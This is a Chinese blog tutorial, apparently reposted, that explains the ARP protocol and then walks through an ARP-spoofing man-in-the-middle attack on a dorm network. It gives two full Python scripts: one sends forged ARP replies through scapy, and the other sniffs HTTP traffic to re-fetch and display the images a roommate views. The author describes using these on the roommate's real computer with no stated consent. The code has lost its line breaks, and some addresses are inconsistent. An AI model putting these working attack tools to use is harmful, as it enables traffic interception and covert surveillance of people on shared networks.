arp协议分析&python编程实现arp欺骗抓图片

序

学校tcp/ip协议分析课程老师布置的任务，要求分析一种网络协议并且研究安全问题并编程实现，于是我选择了研究arp协议，并且利用python编程实现一次简单的局域网arp攻击，抓取室友网上浏览的图片（滑稽脸）

实验环境

1.kali2.0操作系统，本人用的32位的，装在vm12虚拟机中

2.python2.7.13，kali2.0自带

3.一个局域网和室友的电脑

4.kali所支持的无线网卡，型号为RT3070，某宝四十多就能能买到，主要用来抓取无线数据包，因为windows自带无线网卡kali不支持

选择kali支持的无线网卡可参考链接
http://www.freebuf.com/articles/wireless/140065.html

不过要注意一点，wn722n型号的无线网卡只有v1才支持kali，现在网上大多数卖的都是v2的，如果选择这一款买的时候要好好看一下，不要选错

arp协议研究

在进行arp攻击之前，先来研究一下arp协议

arp协议简介：arp协议的全称为地址解析协议，是一种工作在网络层的协议，是一种将ip地址转换为MAC地址（物理地址）的协议

这里之所以需要使用MAC地址，是因为网络中用于连接各个设备的交换机使用了内容可寻址存储器（CAM，Coment Addressable Memory）。该存储器维护的ARP表列出了它在每一个端口的所有连接设备的MAC地址。当交换机收到了一个指向特定MAC地址的网络流量，它就会使用这个表，来确定应该使用哪一个端口发送流量。如果目标MAC地址是未知的，那么这个传输设备会首先在它的缓存中查找这个地址，如果没有找到，那么这个地址就需要通过在网络上额外的通信中解析了。因为在OSI七层模型中，ip地址在第三层网络层，传送的是数据报，mac地址在第二层数据链路层，传送的是数据帧，二层的以太网交换设备并不能识别32位的IP地址，它们是以48位以太网地址（就是我们常说的MAC地址）传输以太网数据包（帧）的，局域网的机器要和其他机器进行通信，首先要获取对方的物理地址，所以arp协议便把ip地址转换为物理地址来实现这种对应关系

arp协议数据包

arp数据包分为arp请求包和arp响应包，数据包格式如下图，arp数据包长度为28字节

其中op段代表操作类型，当op为1代表发起arp请求，说明这是一个arp请求包，当op为2时代表发起arp响应，说明这是一个arp响应包，现在假设局域网的一台机器要上外网（比如百度），首先要与网关进行通讯，获取网关的物理地址后才能传送数据通过网关访问外网，这台机器会首先查看自己电脑的arp缓存表（缓存时间为120s）中是否有网关的物理地址，如果没有便会向局域网内的机器以广播的形式发送arp请求包询问网管的物理地址，请求包主要字段如下

op:1(op值为1说明这是一次arp请求)
hwsrc：发送方MAC地址（即本机器MAC地址）
psrc：发送方ip地址（即本机内网ip地址）
hwdst：目标MAC地址（在这里为未知00：00：00：00：00：00）
pdst：目标ip地址（即网关ip地址，一般为192.168.0.1/192.168.1.1）

局域网内所有机器接收此arp请求，如果发现请求的ip为自己的ip便会向请求机器发送arp响应，将自己的MAC地址带入arp响应包单播发送给请求的机器，arp响应包主要字段如下

op:2(op值为2说明这是一次arp响应)
hwsrc：发送方MAC地址（即网关MAC地址）
psrc：发送方ip地址（即网关ip地址）
hwdst：目标MAC地址（为发起arp请求的机器的MAC地址）
pdst：目标ip地址（为发起arp请求的机器的ip地址）

这样发起arp请求的机器从arp响应包里获取MAC地址并添加到本机arp缓存中，与网关进行通信，在这里要注意一点，在本机向网关发送arp请求的同时，网关也会向本机发送arp请求获取本机MAC地址，同时本机也会向网关发送arp响应，这时一个双向的过程，这里不再重复

接下来为了更清楚的理解，用wireshark抓包来观察一下arp请求包和响应包

选择抓包的网卡接口，在这选择wlan0，并向网关发起ping请求与网关通信，本机ip为192.168.0.106，网关ip为192.168.0.1


在过滤窗口输入arp&&ip.addr==192.168.0.1将arp数据包过滤出来

观察arp请求包和响应包是否和上述描述的一致，图中做出了详细标明

arp请求包

arp响应包
)

arp欺骗

上面描述完了arp协议，下面来说一下arp欺骗攻击，假设局域网内有三台机器

网关:192.168.0.1
受害者机器：192.168.0.108
本机kali：192.168.0.106

正常情况下，如果受害者和网关要进行通信，首先要使用arp协议进行对方的MAC地址获取，但是如果攻击者不断的向受害者发送arp响应包，告诉受害者网关的MAC地址为自己的MAC地址，包的大致内容如下

op:2(op值为2说明这是一次arp响应)
hwsrc：发送方MAC地址（攻击者MAC地址）
psrc：发送方ip地址（网关ip地址）
hwdst：目标MAC地址（受害者MAC地址）
pdst：目标ip地址（受害者ip地址）

在这里发送方ip是网关的ip，但是发送方MAC已经变为了攻击者（kali）的MAC地址，受害者不断的接收这个arp响应包，便会在自己的arp缓存中不断的更新错误的ip与MAC的对应关系，及网关的MAC为攻击者的MAC，由此攻击者的网卡便可以捕获到受害者到网关之间的流量，到现在实现了arp断网，受害者因为与错误的MAC地址进行通讯而上不了网，如果攻击者的机器开启了ip转发，便可以将从受害者截取到的流量转发出去给网关，实现arp欺骗，也称为中间人攻击

arp欺骗一般是双向欺骗，我们通过arp欺骗可以捕获到受害者到网关的流量，同样的我们可以向网关发送arp响应包欺骗网关受害者的MAC地址为自己的MAC地址，截获网关到受害者之间的流量，arp响应包大致如下

op:2(op值为2说明这是一次arp响应)
hwsrc：发送方MAC地址（攻击者MAC地址）
psrc：发送方ip地址（受害者ip地址）
hwdst：目标MAC地址（网关MAC地址）
pdst：目标ip地址（网关ip地址）

同样的网关在不断接受到此arp响应时也会不断的更新自己的arp缓存去建立错误的关系，我们的kali攻击机便可以双向的截获流量

用python实现arp攻击

所需的python第三方库

scapy库：scapy是一个可用于网络嗅探的非常强大的第三方库。可以伪造，嗅探或发送网络数据包，这这里我们使用scapy库伪造arp响应包并发送,首先安装scapy库，kali默认自带

pip install scapy

模拟攻击环境,一个真实的局域网，就是我们寝室

自己的kali攻击机:192.168.0.106,装在vm虚拟机中，连接了RT3070型号的无线网卡
室友的电脑:192.168.0.108，连接同一路由器的无线网
网关：192.168.0.1

编写python代码：arpattack.py

from scapy.all import *#导入scapy模块
from optparse import OptionParser#导入命令行参数处理模块optparse
import sys
def main():usage="Usage: [-i interface] [-t targetip] [-g gatewayip]"parser=OptionParser(usage)parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')#-i 所选择的网卡，eth0或wlan0，存放在interface变量中parser.add_option('-t',dest='targetip',help='select ip to spoof')#-t 要攻击的ip，存放在targetip变量中parser.add_option('-g',dest='gatewayip',help='input gateway ip')#-g 网关ip，存放在gatewayip变量中(options,args)=parser.parse_args()if options.interface and options.targetip and options.gatewayip:interface=options.interfacetip=options.targetipgip=options.gatewayipspoof(interface,tip,gip)#将参数传给spoof函数else:parser.print_help()#显示帮助sys.exit(0)
def spoof(interface,tip,gip):#获取命令行的输入实现arp攻击localmac=get_if_hwaddr(interface)#get_if_hwaddr获取本地网卡MAC地址tmac=getmacbyip(tip)#根据目标ip获取其MAC地址gmac=getmacbyip(gip)#根据网关ip获取其MAC地址ptarget=Ether(src=localmac,dst=tmac)/ARP(hwsrc=localmac,psrc=gip,hwdst=tmac,pdst=tip,op=2)#构造arp响应包，欺骗目标机器网关的MAC地址为本机MAC地址pgateway=Ether(src=localmac,dst=gmac)/ARP(hwsrc=localmac,psrc=tip,hwdst=gmac,pdst=gip,op=2)#构造arp响应包，欺骗网关目标机器的MAC地址为本机MAC地址try:while 1:sendp(ptarget,inter=2,iface=interface)print "send arp reponse to target(%s),gateway(%s) macaddress is %s"%(tip,gip,localmac)sendp(pgateway,inter=2,iface=interface)print "send arp reponse to gateway(%s),target(%s) macaddress is %s"%(gip,tip,localmac)#不断发送arp响应包欺骗目标机器和网关，直到ctrl+c结束程序except KeyboardInterrupt:sys.exit(0)
if __name__=='__main__':main()

脚本使用到的scapy库中的几个函数

get_if_hwaddr("本地网卡名称（eth0/wlan0）")    根据所选择的本地网卡获取相应的本地网卡的MAC地址

getmacbyip（"ip地址"）    根据ip地址获取其MAC地址，使用该函数实际上使用了一次arp协议，可以用此函数获取网关和目标的MAC地址

ARP是构建ARP数据包的类，Ether用来构建以太网数据包，构造arp数据包并加上以太网头部

Ether(src=本地网卡MAC,dst=目标机器MAC)/ARP(hwsrc=本地网卡MAC,psrc=网关ip,hwdst=目标机器MAC,pdst=目标机器ip,op=2)
构造发送给目标机器的arp数据包，并加上以太网头部，欺骗目标机器网关的MAC为本机的MACEther(src=本地网卡MAC,dst=网关MAC)/ARP(hwsrc=本地网卡MAC,psrc=网关ip,hwdst=网关MAC,pdst=网关ip,op=2)
构造发送给网关的arp数据包，并加上以太网头部，欺骗网关目标机器的MAC为本机的MACsendp函数发送我们构造的arp数据包    sendp(数据包, inter=2, iface=网卡)    sendp函数工作在网络的第二层

以上代码实现了类似于arpspoof工具的功能，使用方法，进入脚本目录，输入

python arpattack.py -h

查看脚本使用帮助

Usage: [-i interface] [-t targetip] [-g gatewayip]Options:-h, --help    show this help message and exit-i INTERFACE  select interface(input eth0 or wlan0 or more)-t TARGETIP   select ip to spoof-g GATEWAYIP  input gateway ip

所以我们这样输入可以双向的欺骗网关和目标机器完中间人攻击

python arpattack.py -i 网卡 -t 要攻击的目标的ip地址 -g 网关ip

输入

python arpattack.py -i wlan0 -t 192.168.0.8 -g 192.168.0.1

选择无线网卡wlan0的MAC地址去欺骗室友的电脑和网关路由器，如果我和室友都插了网线，就要选择eth0

运行脚本便会不断的向室友的电脑和网关发送arp响应包进行双向欺骗，效果如下

室友电脑arp缓存

路由器arp缓存

这时我们截获了室友电脑和网关之间的流量，使其不能相互通信，完成了arp断网

echo "1">/proc/sys/net/ipv4/ip_forward

开启流量转发，这时室友和网关正常通讯，但是流量会经过我们的网卡

接下来用python编写代码查看室友电脑浏览的网页图片，其实不难，因为浏览图片一般都是向服务器发送一次请求图片的http请求，所以只需从经过我们网卡的流量中过滤tcp80端口的数据包（http协议），将数据包的头部层层去掉，最后便能得到应用层的http数据包，在利用正则表达式将http://*.jpg筛选出来即可知道室友请求了哪些图片，python的pcap库和dpkt库可以使我们很容易的得到电脑网卡流量中的http应用层数据包

apt-get install libpcap-devpip install pypcappip install dpkt

安装pcap库和dpkt库

pcap模块的pcap方法可以返回一个用来捕获网卡数据包的pcap对象

dpkt，一个数据包解析工具，可以解析离线/实时pcap数据包

python代码如下stealimg.py

import pcap
import dpkt
import re
import requests
from PIL import Image
from io import BytesIO
from optparse import OptionParser
import sys
urllist=[]
def main():usage="Usage: [-i interface]"parser=OptionParser(usage)parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')(options,args)=parser.parse_args()if options.interface:interface=options.interfacepc=pcap.pcap(interface)pc.setfilter('tcp port 80')for ptime,pdata in pc:getimg(pdata)else:parser.print_help()sys.exit(0)
def getimg(pdata):global urllistp=dpkt.ethernet.Ethernet(pdata)if p.data.__class__.__name__=='IP':if p.data.data.__class__.__name__=='TCP':if p.data.data.dport==80:pa=re.compile(r'GET (.*?\.jpg)')#|.*?\.png|.*?\.gifimg=re.findall(pa,p.data.data.data)if img!=[]:lines=p.data.data.data.split('\n')for line in lines:if 'Host:' in line:url='http://'+line.split(':')[-1].strip()+img[-1]if url not in urllist:urllist.append(url)if 'Referer:' in p.data.data.data:for line in lines:if 'Referer:' in line:referer=line.split(':')[-1].strip()print urlr=requests.get(url,headers={'Referer':referer})img=Image.open(BytesIO(r.content))img.show()else:r=requests.get(url)img=Image.open(BytesIO(r.content))img.show()else:pass
if __name__=='__main__':main()

代码将pcap从本机网卡捕获到的完整的网络数据包使用dpkt库将其中封装的http应用层数据包提取出来，通过正则表达式将请求图片的http请求过滤出来，并在本机请求并输出，完成窥屏，效果如下

室友电脑浏览图片

自己kali可以窥屏

注意一点，百度的图片爬取要在http请求头中加上Referer字段，否则会出现403禁止访问，代码只是简单的实现了窥屏的效果，还有着很多不足，不过通过这次学习可以对arp欺骗攻击有更深的理解

转载自（http://lawlietweb.com/2018/01/12/arpattack/）